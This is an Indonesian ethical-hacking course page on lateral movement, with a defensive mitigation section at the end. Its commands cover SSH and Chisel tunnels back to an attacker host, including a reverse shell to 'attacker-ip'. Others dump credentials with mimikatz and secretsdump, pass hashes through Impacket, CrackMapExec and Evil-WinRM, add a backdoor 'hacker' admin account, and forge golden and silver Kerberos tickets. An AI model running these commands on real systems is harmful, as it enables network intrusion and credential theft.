TDCTF Academy Logo TDCTF ACADEMY

8.4.2 Lateral Movement

Pendahuluan

Lateral Movement adalah teknik bergerak dari satu sistem ke sistem lain dalam jaringan target setelah mendapatkan akses awal. Tujuan lateral movement adalah memperluas footprint penyerang, menemukan data bernilai tinggi, mencapai sistem kritikal, dan mempertahankan akses ke lingkungan target.

Dalam konteks ethical hacking, lateral movement adalah fase yang membedakan breach dangkal (hanya satu sistem) dari kompromi jaringan penuh. Organisasi sering mengamankan perimeter dengan firewall ketat, tetapi sekali penyerang menembus perimeter, jaringan internal sering kali memiliki kepercayaan yang tinggi antar sistem - membuat lateral movement relatif mudah.

1. SSH Tunneling

1.1 Local Port Forwarding

Local port forwarding meneruskan traffic dari port lokal attacker ke port target melalui SSH server.

Use case: Akses layanan internal yang hanya listen di localhost server (seperti database yang hanya accessible dari localhost).

# Format: ssh -L [local_port]:[target_host]:[target_port] user@ssh_server

# Contoh: Forward port 3306 (MySQL) dari server target ke port 13306 lokal
ssh -L 13306:localhost:3306 [email protected]

# Sekarang dari attacker connect ke localhost:13306
mysql -h 127.0.0.1 -P 13306 -u root -p

# Forward RDP ke internal server di belakang SSH gateway
ssh -L 13389:10.10.10.5:3389 [email protected]
# Connect via: xfreerdp /v:127.0.0.1:13389

1.2 Remote Port Forwarding

Remote port forwarding membuka port di server SSH yang meneruskan traffic ke port lokal attacker.

Use case: Ketika attacker berada di belakang NAT/firewall dan server target dapat terhubung ke attacker, tetapi tidak sebaliknya.

# Format: ssh -R [remote_port]:[local_host]:[local_port] user@attacker_server

# Di target: Forward port 8080 attacker ke layanan internal target
ssh -R 8080:localhost:80 user@attacker-ip

# Di attacker: Buka http://vuln.cybersecurity.or.id untuk mengakses web internal target

# Reverse shell via SSH (saat firewall blokir direct connection)
ssh -R 4444:localhost:4444 user@attacker-ip
# Di target: kirim reverse shell ke localhost:4444
# Di attacker: nc -lvnp 4444

1.3 Dynamic Port Forwarding (SOCKS Proxy)

Dynamic forwarding membuat SOCKS proxy di SSH server, memungkinkan aplikasi attacker merutekan traffic melalui server target.

# Buat SOCKS proxy di port 1080 lokal
ssh -D 1080 [email protected]

# Gunakan dengan proxychains
# Edit /etc/proxychains4.conf:
# socks4 127.0.0.1 1080

# Semua traffic diarahkan melalui server target
proxychains4 nmap -sT -Pn 10.10.10.0/24
proxychains4 curl http://10.10.10.5/admin/
proxychains4 xfreerdp /v:10.10.10.5

1.4 SSH Escape dan Jump Host

Untuk jaringan dengan multiple hops (jumping through several hosts):

# Direct jump melalui intermediate host

# Multiple jump hosts
ssh -J user1@host1:22,user2@host2:22 [email protected]

# Port forwarding melalui jump host
ssh -L 13306:10.10.10.5:3306 -J [email protected] [email protected]

2. Pivoting

Pivoting adalah teknik menggunakan sistem yang sudah dikompromikan sebagai staging point untuk menyerang sistem lain di jaringan yang tidak langsung accessible dari attacker.

2.1 Chisel

Chisel adalah tunneling tool berbasis HTTP/HTTPS yang bekerja di atas TCP. Chisel lebih unggul daripada SSH di lingkungan yang memblokir port SSH atau hanya mengizinkan HTTP/HTTPS.

Setup chisel server (attacker):

# Attacker menjalankan chisel server
chisel server -p 8000 --reverse

# Output:
# 2024/01/15 10:00:00 server: Reverse tunnelling enabled
# 2024/01/15 10:00:00 server: Listening on http://0.0.0.0:8000

Setup chisel client (target):

# Target connect ke server dengan reverse SOCKS
chisel client http://192.168.1.100:8000 R:socks

# Atau forward port spesifik
chisel client http://192.168.1.100:8000 R:3306:10.10.10.5:3306

Penggunaan dengan proxychains:

# Chisel membuat SOCKS5 proxy di attacker di port 1080
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

proxychains4 nmap -sT -Pn -p 80,443,445,3389 10.10.10.0/24
proxychains4 crackmapexec smb 10.10.10.0/24 -u admin -p password

2.2 Meterpreter Pivoting

Metasploit Meterpreter menyediakan routing built-in untuk pivoting.

Setup route di meterpreter:

# Setelah mendapatkan session meterpreter
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background

# Atau setup route manual
msf6 > route add 10.10.10.0/24 255.255.255.0 1
msf6 > route print

# Gunakan modul exploit melalui route
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 10.10.10.5
msf6 > set SMBUser administrator
msf6 > set SMBPass P@ssw0rd
msf6 > run

Port forwarding via meterpreter:

meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.5
meterpreter > portfwd add -L 0.0.0.0 -l 3306 -p 3306 -r 10.10.10.5

2.3 SOCAT Relay

SOCAT adalah networking relay tool yang bisa digunakan untuk pivoting sederhana.

# Port forwarding sederhana
socat TCP-LISTEN:4444,fork,reuseaddr TCP:10.10.10.5:4444

# Relay traffic melalui dua arah
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80

# Dengan SSL
socat OPENSSL-LISTEN:443,cert=server.pem,fork,reuseaddr TCP:10.10.10.5:443

3. Pass-the-Hash (PtH)

Pass-the-Hash adalah teknik yang memanfaatkan hash NTLM untuk autentikasi tanpa perlu mengetahui password plaintext. Teknik ini sangat efektif di lingkungan Windows karena protokol NTLM mengizinkan autentikasi menggunakan hash.

3.1 Ekstraksi Hash

Sebelum PtH, hash harus diekstrak dari sistem yang sudah dikompromikan:

# Meterpreter
meterpreter > hashdump

# Impacket secretsdump
impacket-secretsdump domain/[email protected]

# Mimikatz
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

3.2 Eksekusi dengan Pass-the-Hash

Dengan Impacket:

# Eksekusi command via SMB
impacket-psexec -hashes :886b913bd6eb40db85d2021c34054bcd [email protected]

# Atau gunakan impacket-wmiexec
impacket-wmiexec -hashes :886b913bd6eb40db85d2021c34054bcd [email protected]

# Impacket-smbexec
impacket-smbexec -hashes :886b913bd6eb40db85d2021c34054bcd [email protected]

Dengan CrackMapExec:

crackmapexec smb 10.10.10.0/24 -u administrator -H 886b913bd6eb40db85d2021c34054bcd -x whoami

# List shares
crackmapexec smb 10.10.10.5 -u administrator -H 886b913bd6eb40db85d2021c34054bcd --shares

# Dump SAM dari remote
crackmapexec smb 10.10.10.5 -u administrator -H 886b913bd6eb40db85d2021c34054bcd --sam

# Dump LSA secrets
crackmapexec smb 10.10.10.5 -u administrator -H 886b913bd6eb40db85d2021c34054bcd --lsa

Dengan Metasploit:

msf6 > use exploit/windows/smb/psexec
msf6 > set RHOST 10.10.10.5
msf6 > set SMBUser administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:886b913bd6eb40db85d2021c34054bcd
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > run

3.3 Pass-the-Hash dengan Evil-WinRM

Jika WinRM terbuka (port 5985/5986):

evil-winrm -i 10.10.10.5 -u administrator -H 886b913bd6eb40db85d2021c34054bcd

# Setelah mendapatkan session
*Evil-WinRM* PS > whoami
*Evil-WinRM* PS > ipconfig
*Evil-WinRM* PS > upload exploit.exe
*Evil-WinRM* PS > download C:\Users\Administrator\Desktop\flag.txt

4. PsExec (SMB Exec)

PsExec adalah tool dari Microsoft Sysinternals yang mengeksekusi proses di sistem remote melalui SMB. Dalam pentest, PsExec sering digunakan untuk lateral movement karena legitimate dan sering tersedia.

4.1 PsExec Standar

# Menggunakan password
psexec \\10.10.10.5 -u Administrator -p P@ssw0rd cmd.exe

# Menggunakan hash (dengan Sysinternals PsExec + hash injection)
psexec \\10.10.10.5 cmd.exe

4.2 PsExec dari Impacket

# Impacket psexec dengan password
impacket-psexec administrator:P@[email protected]

# Impacket psexec dengan hash
impacket-psexec -hashes :886b913bd6eb40db85d2021c34054bcd [email protected]

# Non-interactive command
impacket-psexec administrator:P@[email protected] "net user hacker Password123! /add && net localgroup administrators hacker /add"

4.3 SMBExec

Alternatif PsExec yang tidak memerlukan ADMIN$ share untuk upload binary:

impacket-smbexec administrator:P@[email protected]

# Output lebih stealthy karena tidak upload file exe
# Menggunakan service control manager untuk eksekusi

5. WMI (Windows Management Instrumentation)

WMI adalah infrastruktur manajemen Windows yang dapat digunakan untuk eksekusi remote tanpa menghasilkan event SMB service creation.

5.1 WMI Exec

# Impacket wmiexec
impacket-wmiexec administrator:P@[email protected]

# WMI dengan password hash
impacket-wmiexec -hashes :886b913bd6eb40db85d2021c34054bcd [email protected]

# Command non-interactive
impacket-wmiexec administrator:P@[email protected] "whoami"

5.2 WMI Manual (PowerShell)

# Eksekusi command via WMI dari Windows client
wmic /node:10.10.10.5 /user:administrator /password:P@ssw0rd process call create "cmd.exe /c whoami > C:\temp\output.txt"

# Dengan PowerShell
Invoke-WmiMethod -ComputerName 10.10.10.5 -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c calc.exe"

5.3 WMI vs PsExec

Aspek PsExec WMI
Port 445 (SMB) 135, 445 (RPC, SMB)
File upload Upload binary ke ADMIN$ Tidak upload file
Event log Service creation logged WMI event logged
Stealth Noisy Lebih stealthy
Windows default Perlu download Sysinternals Bawaan Windows
Dependency ADMIN$ share harus ada DCOM harus enabled

6. RDP (Remote Desktop Protocol)

RDP menyediakan akses desktop interaktif ke sistem Windows remote.

6.1 RDP Lateral Movement

# Menggunakan xfreerdp (Linux)
xfreerdp /v:10.10.10.5 /u:administrator /p:P@ssw0rd /size:1280x720

# Dengan hash (pass-the-hash via Restricted Admin Mode)
xfreerdp /v:10.10.10.5 /u:administrator /pth:886b913bd6eb40db85d2021c34054bcd

# Mengaktifkan Restricted Admin Mode jika belum aktif:
# reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0

6.2 RDP Session Hijacking

Mengambil alih session RDP yang sudah ada (membutuhkan SYSTEM privilege):

# List session RDP
query user

# Menyambungkan ke session lain
# Menu: Start > tscon.exe SESSION_ID /dest:console

# Dengan cmd:
tscon 1 /dest:console

6.3 RDP dengan Metasploit

msf6 > auxiliary/scanner/rdp/rdp_scanner
msf6 > auxiliary/scanner/rdp/cve_2019_0708_bluekeep

7. Kerberos Exploitation

7.1 Kerberoasting

Menyerang service account dengan meminta TGS ticket dan mencrack offline.

# Dengan Impacket
impacket-GetUserSPNs domain.local/username:password -outputfile kerberos_hashes.txt

# Crack dengan hashcat
hashcat -m 13100 kerberos_hashes.txt /usr/share/wordlists/rockyou.txt

# Dengan PowerView (native)
Invoke-Kerberoast -OutputFormat hashcat | Export-Csv kerberoast.csv

7.2 AS-REP Roasting

Mendapatkan hash untuk user yang tidak memiliki Kerberos pre-authentication.

# Dengan Impacket
impacket-GetNPUsers domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt

# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

7.3 Pass-the-Ticket

Menggunakan Kerberos ticket yang dicuri untuk autentikasi tanpa password.

# Ekstrak ticket dengan mimikatz
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::list /export

# Inject ticket ke session saat ini
mimikatz # kerberos::ptt [0;12bd0][email protected]

# Dengan Rubeus (modern tool)
Rubeus.exe ptt /ticket:ticket.kirbi

7.4 Golden Ticket

Membuat Kerberos TGT palsu menggunakan hash KRBTGT.

# Dapatkan hash KRBTGT
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# Buat golden ticket
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /id:500 /user:Administrator

# Inject ke session
mimikatz # kerberos::ptt ticket.kirbi

7.5 Silver Ticket

Membuat TGS palsu untuk service tertentu - lebih stealthy dari golden ticket.

# Buat silver ticket untuk service CIFS (file share)
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:FILE-SERVER.domain.local /rc4:HASH /service:CIFS /user:Administrator

# Service lain: HOST, HTTP, LDAP, MSSQLSvc, TERMSRV, WINRM

8. Lateral Movement Checklist

  • Enumerasi subnet dan segmen jaringan internal
  • Identifikasi sistem target yang accessible dari host terkompromi
  • Cari credential reuse (password/hash yang sama di multiple sistem)
  • Dump credential lokal dan domain dari sistem saat ini
  • Setup pivot point dengan Chisel/Meterpreter/autoroute
  • Lakukan service enumeration via proxy/pivot
  • Exploitasi dengan PsExec/WMI/Pass-the-Hash ke target baru
  • Dump credential lagi dari sistem baru - ulangi siklus
  • Dokumentasikan semua host yang dikompromi dan metode yang digunakan

9. Detection dan Mitigasi

Langkah mitigasi untuk organisasi:

  1. Least Privilege - Batasi hak akses user dan service account
  2. Local Admin Password Management - LAPS untuk password unique per sistem
  3. Network Segmentation - Segmentasi ketat antar VLAN/subnet
  4. Privileged Access Workstation (PAW) - Workstation khusus admin
  5. Just-in-Time (JIT) Access - Akses admin hanya saat diperlukan
  6. Logging dan Monitoring - Audit event ID 4624 (logon), 4672 (privilege assignment), 5140 (SMB share)
  7. Kerberos Protection - Aktifkan Kerberos armoring, service account monitoring

Indikator lateral movement (IoC):

  • Eksekusi service creation (Event ID 7045) - PsExec
  • WMI activity (Event ID 5861) - WMI persistence
  • RDP login dari IP tidak dikenal (Event ID 4624, logon type 10)
  • Pass-the-Hash (Event ID 4624, logon type 3 dengan NTLM authentication)
  • Multiple failed logon dalam waktu singkat
  • Anomali SMB traffic ke banyak host

Kesimpulan

Lateral movement adalah fase yang memperluas dampak serangan dari satu sistem menjadi kompromi jaringan penuh. Teknik seperti pass-the-hash, PsExec, WMI, dan Kerberos exploitation memanfaatkan kepercayaan yang melekat dalam ekosistem jaringan Windows. SSH tunneling dan Chisel memungkinkan pentester melewati firewall dan NAT untuk mencapai sistem internal. Keberhasilan lateral movement sangat bergantung pada credential harvesting yang baik - setiap sistem baru yang dikompromi harus segera didump credential-nya untuk memperluas akses ke sistem berikutnya.

PADA HALAMAN INI